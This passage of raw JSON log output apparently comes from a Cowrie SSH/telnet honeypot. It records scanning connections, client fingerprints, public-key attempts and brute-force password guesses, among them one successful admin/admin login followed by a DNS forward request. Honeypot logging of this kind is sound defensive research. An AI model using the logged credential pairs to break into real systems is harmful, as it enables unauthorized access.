af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:22.582869Z","src_ip":"43.173.125.185","session":"bf9b5c1839a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nadia","password":"nadia","message":"login attempt [nadia/nadia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:22.888646Z","src_ip":"43.173.125.185","session":"bf9b5c1839a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:23.959384Z","src_ip":"43.173.125.185","session":"bf9b5c1839a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":34510,"dst_ip":"159.203.135.109","dst_port":23,"session":"c05e78cb0e40","protocol":"telnet","message":"New connection: 186.195.16.41:34510 (159.203.135.109:23) [session: c05e78cb0e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:33.043769Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":38370,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad5d39d1e406","protocol":"ssh","message":"New connection: 194.113.233.25:38370 (10.17.0.5:22) [session: ad5d39d1e406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:44.331484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:44.335976Z","src_ip":"194.113.233.25","session":"ad5d39d1e406","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:44.434703Z","src_ip":"194.113.233.25","session":"ad5d39d1e406","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"torres","message":"login attempt [root/torres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:44.711524Z","src_ip":"194.113.233.25","session":"ad5d39d1e406","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:45.807147Z","src_ip":"194.113.233.25","session":"ad5d39d1e406","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":7814,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bbf70eb4f2b","protocol":"ssh","message":"New connection: 87.251.64.176:7814 (10.17.0.5:22) [session: 1bbf70eb4f2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:48.009831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:48.014494Z","src_ip":"87.251.64.176","session":"1bbf70eb4f2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:48.110836Z","src_ip":"87.251.64.176","session":"1bbf70eb4f2b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:48.398831Z","src_ip":"87.251.64.176","session":"1bbf70eb4f2b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:48.497524Z","session":"1bbf70eb4f2b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:48.595277Z","src_ip":"87.251.64.176","session":"1bbf70eb4f2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:19:48.696420Z","src_ip":"87.251.64.176","session":"1bbf70eb4f2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.37.117.103","src_port":55826,"dst_ip":"10.17.0.5","dst_port":22,"session":"e98cebfd9916","protocol":"ssh","message":"New connection: 89.37.117.103:55826 (10.17.0.5:22) [session: e98cebfd9916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:00.166654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:00.178007Z","src_ip":"89.37.117.103","session":"e98cebfd9916","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.243.46.222","src_port":21270,"dst_ip":"10.17.0.5","dst_port":22,"session":"06d5818a92ce","protocol":"ssh","message":"New connection: 104.243.46.222:21270 (10.17.0.5:22) [session: 06d5818a92ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:00.234149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:00.239512Z","src_ip":"104.243.46.222","session":"06d5818a92ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:00.306731Z","src_ip":"89.37.117.103","session":"e98cebfd9916","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:00.315767Z","src_ip":"104.243.46.222","session":"06d5818a92ce","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:6a:69:38:7c:30:a1:cb:1d:67:23:a4:e0:cf:fb:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoLQ6Erms9qRLsFixVYDY0czfQa03aqSSe7aSTTy1EP4H4pn2vSpHY8PZr2/g8bfj06S0Yw5cZuWakhWli9GStgIc91sil2WPizcN4mUlOy6vyQ7R3G7bItcpvpXQq/R321pt9daHfes8HmFnuBUyOtGoSII9hCWsSfjhsmxdeQmZjo+KUfHdmv4yY9FrxTDuPaCVHFtR008ke5JLxAj1gqo9EIschkcB5HBPgXYGNBMhktNb17tldol/8s/h+xT74lR9T8wWFeJoO6/bBb4fAvB2kAwmNB0YgYp4JNb+sXG69abdresaNpGbg2YgdQ/GWkXVYkh3TEnbwF8xA+IVf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8f:6a:69:38:7c:30:a1:cb:1d:67:23:a4:e0:cf:fb:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:00.624510Z","src_ip":"104.243.46.222","session":"06d5818a92ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:6a:69:38:7c:30:a1:cb:1d:67:23:a4:e0:cf:fb:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoLQ6Erms9qRLsFixVYDY0czfQa03aqSSe7aSTTy1EP4H4pn2vSpHY8PZr2/g8bfj06S0Yw5cZuWakhWli9GStgIc91sil2WPizcN4mUlOy6vyQ7R3G7bItcpvpXQq/R321pt9daHfes8HmFnuBUyOtGoSII9hCWsSfjhsmxdeQmZjo+KUfHdmv4yY9FrxTDuPaCVHFtR008ke5JLxAj1gqo9EIschkcB5HBPgXYGNBMhktNb17tldol/8s/h+xT74lR9T8wWFeJoO6/bBb4fAvB2kAwmNB0YgYp4JNb+sXG69abdresaNpGbg2YgdQ/GWkXVYkh3TEnbwF8xA+IVf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:00.628803Z","src_ip":"104.243.46.222","session":"06d5818a92ce","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:46:89:20:22:dc:05:f4:65:f4:db:70:87:ed:db:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCw71I80yHTKrbsxbepO6KeIxBzvFEO62AnKSuZTkowCVpLLk3XO7MySRPcDqF5NMMPAA5KYAlQg+ziLiaFT9qIm01bcvNYcqGeW3bxEKclFk1jls8QVS7/1fAG5/4CalFqFvbi0MtszOPXzoDxRmD+vSSUb+nCpCLJR2knbeHZxSDznyFUurkhiTVfi0JsoPi5wFN2isW1yme7VNUuYXOPfoeycCe1cQZo4TbhDnAS5Th4jgKU773iLXBBf0YxGTCfXIzl+3mDi8w0dJ1aX1496YrzpucOj1lZi15UAxd+HuOQiYVsRzoYw0PqFke0kW8pijrrcRvhzV8i/AwW2dEZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8a:46:89:20:22:dc:05:f4:65:f4:db:70:87:ed:db:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:00.914494Z","src_ip":"89.37.117.103","session":"e98cebfd9916","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:46:89:20:22:dc:05:f4:65:f4:db:70:87:ed:db:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCw71I80yHTKrbsxbepO6KeIxBzvFEO62AnKSuZTkowCVpLLk3XO7MySRPcDqF5NMMPAA5KYAlQg+ziLiaFT9qIm01bcvNYcqGeW3bxEKclFk1jls8QVS7/1fAG5/4CalFqFvbi0MtszOPXzoDxRmD+vSSUb+nCpCLJR2knbeHZxSDznyFUurkhiTVfi0JsoPi5wFN2isW1yme7VNUuYXOPfoeycCe1cQZo4TbhDnAS5Th4jgKU773iLXBBf0YxGTCfXIzl+3mDi8w0dJ1aX1496YrzpucOj1lZi15UAxd+HuOQiYVsRzoYw0PqFke0kW8pijrrcRvhzV8i/AwW2dEZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:00.919675Z","src_ip":"89.37.117.103","session":"e98cebfd9916","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:05:4a:ed:7f:c1:f8:76:c8:c5:6f:27:e8:1b:fb:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUPNE+f0ufnc++xD7l0lx3XpozZ2d/CZHdvs9gMr4jIDF5/ZduIuFb8LvuImsREaHGVOdaT78YJn7TEIZkdQpXkUUke9cyzOZHFiopCWNqcY/jt2EZu6SZCMDKp+eDcuJU97ORZVZrcI8JJT7YVMbkz9gxXq0ZabLzrV008rZwQQQENsmD4rVGTWfhj7Dq4KnhW2AKerLZT7OUbaON7a1di1rRp2mFuR1cMp58qX5OXSteEC974xC6VfyZbevULBTZuYWPP/Xu783dBn1UrKl/DixBXszoPH/1B4QftCNVa9qpOBj8BknxaB8rcVArdYkZ5eylYOxbqVc3EdzMHh7n","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ba:05:4a:ed:7f:c1:f8:76:c8:c5:6f:27:e8:1b:fb:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:00.973028Z","src_ip":"104.243.46.222","session":"06d5818a92ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:05:4a:ed:7f:c1:f8:76:c8:c5:6f:27:e8:1b:fb:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUPNE+f0ufnc++xD7l0lx3XpozZ2d/CZHdvs9gMr4jIDF5/ZduIuFb8LvuImsREaHGVOdaT78YJn7TEIZkdQpXkUUke9cyzOZHFiopCWNqcY/jt2EZu6SZCMDKp+eDcuJU97ORZVZrcI8JJT7YVMbkz9gxXq0ZabLzrV008rZwQQQENsmD4rVGTWfhj7Dq4KnhW2AKerLZT7OUbaON7a1di1rRp2mFuR1cMp58qX5OXSteEC974xC6VfyZbevULBTZuYWPP/Xu783dBn1UrKl/DixBXszoPH/1B4QftCNVa9qpOBj8BknxaB8rcVArdYkZ5eylYOxbqVc3EdzMHh7n","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:00.977539Z","src_ip":"104.243.46.222","session":"06d5818a92ce","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:0f:20:db:e8:e7:bb:9f:08:77:db:a5:c4:33:9c:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAIvgQJPPSRBD2sgSarHQMudUUQYHSyf2Mp4EpapKgWGx4SEfn0aZzc3MIOUXJ481SOitYHWm5rhD//h5oCU1JJbTX3h2dEk0Y1wVByd2ZJpXaPRuw2R9rSgaxzEtEtSh1Y8o0pSxP1aYSaOZilx2s1MeXnUTAnvoLlNTigSfifU+NZ1CWz3R9RMz0u53xr0pRSoEfyFa0IIxGdShdEyy+O9l7wHtxALMevEx19oC/tAwMlFYvWewodRh3F22I9dNr3/iRFQ4yVlHOzxxvNLh5GR0Qip2yoZ3/LbllbbnML2OwTlchBDlI9sd3QWBVtmQoFrDD3CrSswuUCPdymLUl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:0f:20:db:e8:e7:bb:9f:08:77:db:a5:c4:33:9c:04","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:01.046513Z","src_ip":"104.243.46.222","session":"06d5818a92ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:0f:20:db:e8:e7:bb:9f:08:77:db:a5:c4:33:9c:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAIvgQJPPSRBD2sgSarHQMudUUQYHSyf2Mp4EpapKgWGx4SEfn0aZzc3MIOUXJ481SOitYHWm5rhD//h5oCU1JJbTX3h2dEk0Y1wVByd2ZJpXaPRuw2R9rSgaxzEtEtSh1Y8o0pSxP1aYSaOZilx2s1MeXnUTAnvoLlNTigSfifU+NZ1CWz3R9RMz0u53xr0pRSoEfyFa0IIxGdShdEyy+O9l7wHtxALMevEx19oC/tAwMlFYvWewodRh3F22I9dNr3/iRFQ4yVlHOzxxvNLh5GR0Qip2yoZ3/LbllbbnML2OwTlchBDlI9sd3QWBVtmQoFrDD3CrSswuUCPdymLUl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:01.054036Z","src_ip":"104.243.46.222","session":"06d5818a92ce","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"43:8f:46:35:eb:9e:45:3b:e0:47:13:9d:7f:d6:6a:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDW++0us4Q8sSCuRIrA23SbPc5VPpB//UYZHc5hYcFZc5SiDlAshTK7hNSwgqt5rg6/3H+k6zqvLP6Itslk+WzwLuwOziVhFnpTcUJf+teU8rTDZ/zjwPAjkhSEl/EpewQWRBb7Cr8rn+jQGAyFFcPCnoZ1dp49ecn4mIpI5RGhgC7gkCD6zOVKZyY1Smw1w7mTg7VBxgd08slEtd5/jrFfZujbG30GyVztT6ogKryKalB9j0moyH0deMFm69qzCde7pxpgzuiQYDPNVATvv+IYY5+4zi0ItHerZuDiVjcqRRByotz90wbyqNAGbulxAkFRn44dJ0BWsBzdLJGuYe1d","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 43:8f:46:35:eb:9e:45:3b:e0:47:13:9d:7f:d6:6a:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:01.064973Z","src_ip":"89.37.117.103","session":"e98cebfd9916","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"43:8f:46:35:eb:9e:45:3b:e0:47:13:9d:7f:d6:6a:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDW++0us4Q8sSCuRIrA23SbPc5VPpB//UYZHc5hYcFZc5SiDlAshTK7hNSwgqt5rg6/3H+k6zqvLP6Itslk+WzwLuwOziVhFnpTcUJf+teU8rTDZ/zjwPAjkhSEl/EpewQWRBb7Cr8rn+jQGAyFFcPCnoZ1dp49ecn4mIpI5RGhgC7gkCD6zOVKZyY1Smw1w7mTg7VBxgd08slEtd5/jrFfZujbG30GyVztT6ogKryKalB9j0moyH0deMFm69qzCde7pxpgzuiQYDPNVATvv+IYY5+4zi0ItHerZuDiVjcqRRByotz90wbyqNAGbulxAkFRn44dJ0BWsBzdLJGuYe1d","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:01.069237Z","src_ip":"89.37.117.103","session":"e98cebfd9916","protocol":"ssh"}
